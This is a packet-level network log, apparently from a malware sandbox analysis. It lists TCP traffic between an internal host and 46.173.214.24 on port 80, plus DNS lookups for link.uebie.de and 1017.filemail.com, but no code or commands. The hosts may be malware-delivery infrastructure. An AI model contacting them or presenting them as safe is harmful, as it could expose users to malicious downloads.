Nov 18, 2024 18:22:43.380141973 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.380147934 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.380187035 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.420945883 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.420975924 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.420991898 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.421008110 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.421015024 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.421046019 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.421082020 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.467041016 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.467070103 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.467087030 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.467088938 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.468039989 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.497883081 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.497916937 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.497932911 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.497958899 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.497997046 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498013973 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498033047 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.498223066 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498239040 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498260021 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.498291016 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498306036 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498322964 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.498327017 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.498356104 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.511425018 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.511441946 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.511480093 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.539479971 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539520979 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539540052 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539555073 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539580107 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.539586067 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539597034 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.539613008 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.539650917 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.585643053 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.585673094 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.585699081 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.585716009 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.616175890 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616225958 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.616256952 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616272926 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616309881 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.616344929 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616362095 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616403103 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.616590977 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616606951 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616624117 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616641998 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.616667986 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616683960 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.616703987 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.657916069 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.657944918 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.657958984 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.657962084 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.658000946 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.658072948 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.658090115 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.658104897 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.658122063 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.658123970 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.658159971 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.658175945 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.704008102 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.704036951 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.704051971 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.704090118 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.706437111 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.722033024 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.733639956 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.734671116 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734688997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734705925 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734729052 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.734755993 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734772921 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734791040 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.734955072 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.734998941 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.735027075 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.735043049 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.735059023 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.735075951 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.776943922 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.776963949 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.776992083 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.777026892 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.777041912 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.777070045 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.777118921 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.777137995 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.777159929 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.777544022 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.777600050 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.777795076 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.822664022 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.822686911 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.822705984 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.822725058 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.822743893 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853419065 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853445053 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853477001 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853492975 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853508949 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853523016 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853538036 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853538990 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853549004 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853555918 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853557110 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853574991 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853602886 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853645086 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.853818893 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853847027 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853863955 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.853888035 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.895065069 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895107985 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895124912 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895138025 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.895164967 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.895201921 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895220041 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895252943 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.895458937 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895559072 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895574093 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.895596981 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.938383102 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.938400030 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.938523054 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.941174984 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.941216946 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.941241980 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.941258907 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.941293955 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.971446991 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.971479893 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.971517086 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.971546888 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.971570969 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.971604109 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.971621037 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.972289085 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972343922 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972359896 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972364902 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.972402096 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.972423077 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972481966 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972496986 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.972522974 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.984690905 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.013417006 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.013489008 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.013504982 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.013535976 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.014513969 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.014560938 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.014576912 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.014600039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.014641047 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.014647007 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.014664888 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.014710903 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.025398970 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.059640884 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.059674025 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.059689999 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.059717894 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.059751034 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.059767008 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.059787989 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.090255022 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090286970 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090301991 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090358019 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.090379953 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.090759993 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090814114 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090830088 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090854883 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.090888023 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090903997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.090929031 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.091131926 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.091176033 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.091207027 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.091223001 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.091267109 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.131926060 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.131963015 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.131978035 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.132005930 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.133874893 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.133924007 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.134038925 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.134129047 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.134150028 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.134166002 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.134166956 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.134202003 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.192400932 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.192436934 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.192454100 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.192486048 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.192526102 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.192542076 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.192568064 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.208868027 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.208888054 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.208904028 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.208933115 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.209161997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209204912 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.209225893 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209242105 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209279060 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.209347963 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209364891 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209403992 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.209645033 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209659100 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209702015 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.209800005 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209918976 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.209961891 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.220643997 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.220911026 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.250032902 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.250103951 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.250118971 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.250133991 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.250161886 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.250191927 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.252019882 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252105951 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252120972 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252150059 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.252175093 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252191067 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252207041 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252216101 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.252223969 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252249956 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.252305031 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.252345085 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.310947895 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.310966969 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.310992956 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.311021090 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.311079025 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.311094999 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.311110973 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.311124086 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.311157942 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.327081919 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327110052 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327126026 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327184916 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.327477932 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327523947 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.327552080 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327568054 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327605009 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.327753067 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327766895 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327811003 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.327853918 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327908039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327922106 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.327956915 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.342000961 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.368525982 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.368556023 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.368567944 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.368609905 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.368638039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:44.368683100 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.371855021 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:44.376751900 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:57.562103987 CET	49176	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:57.566984892 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:57.567060947 CET	49176	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:57.567322969 CET	49176	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:57.567322969 CET	49176	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:57.572161913 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:57.572379112 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:57.572392941 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:58.746625900 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:58.747956038 CET	49176	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:58.753298044 CET	80	49176	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:58.753566027 CET	49176	80	192.168.2.22	46.173.214.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 18:21:28.875463009 CET	54562	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:21:28.882519007 CET	53	54562	8.8.8.8	192.168.2.22
Nov 18, 2024 18:21:31.303369999 CET	52917	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:21:31.312345982 CET	53	52917	8.8.8.8	192.168.2.22
Nov 18, 2024 18:21:53.220351934 CET	62751	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:21:53.234504938 CET	53	62751	8.8.8.8	192.168.2.22
Nov 18, 2024 18:21:53.250118971 CET	57893	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:21:53.258137941 CET	53	57893	8.8.8.8	192.168.2.22
Nov 18, 2024 18:21:57.290863037 CET	54821	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:21:57.302972078 CET	53	54821	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:16.254371881 CET	54719	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:16.261893034 CET	53	54719	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:16.265002966 CET	49881	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:16.275073051 CET	53	49881	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:40.965764046 CET	54998	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:41.072778940 CET	53	54998	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:41.183686018 CET	52781	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:41.191252947 CET	53	52781	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:56.758173943 CET	63926	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:57.112112045 CET	53	63926	8.8.8.8	192.168.2.22
Nov 18, 2024 18:22:57.451922894 CET	65510	53	192.168.2.22	8.8.8.8
Nov 18, 2024 18:22:57.557776928 CET	53	65510	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 18:21:28.875463009 CET	192.168.2.22	8.8.8.8	0x2ada	Standard query (0)	link.uebie.de	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:31.303369999 CET	192.168.2.22	8.8.8.8	0x69d5	Standard query (0)	link.uebie.de	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:53.220351934 CET	192.168.2.22	8.8.8.8	0x5109	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:53.250118971 CET	192.168.2.22	8.8.8.8	0x75d6	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:57.290863037 CET	192.168.2.22	8.8.8.8	0x4ff	Standard query (0)	link.uebie.de	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:16.254371881 CET	192.168.2.22	8.8.8.8	0xdc80	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
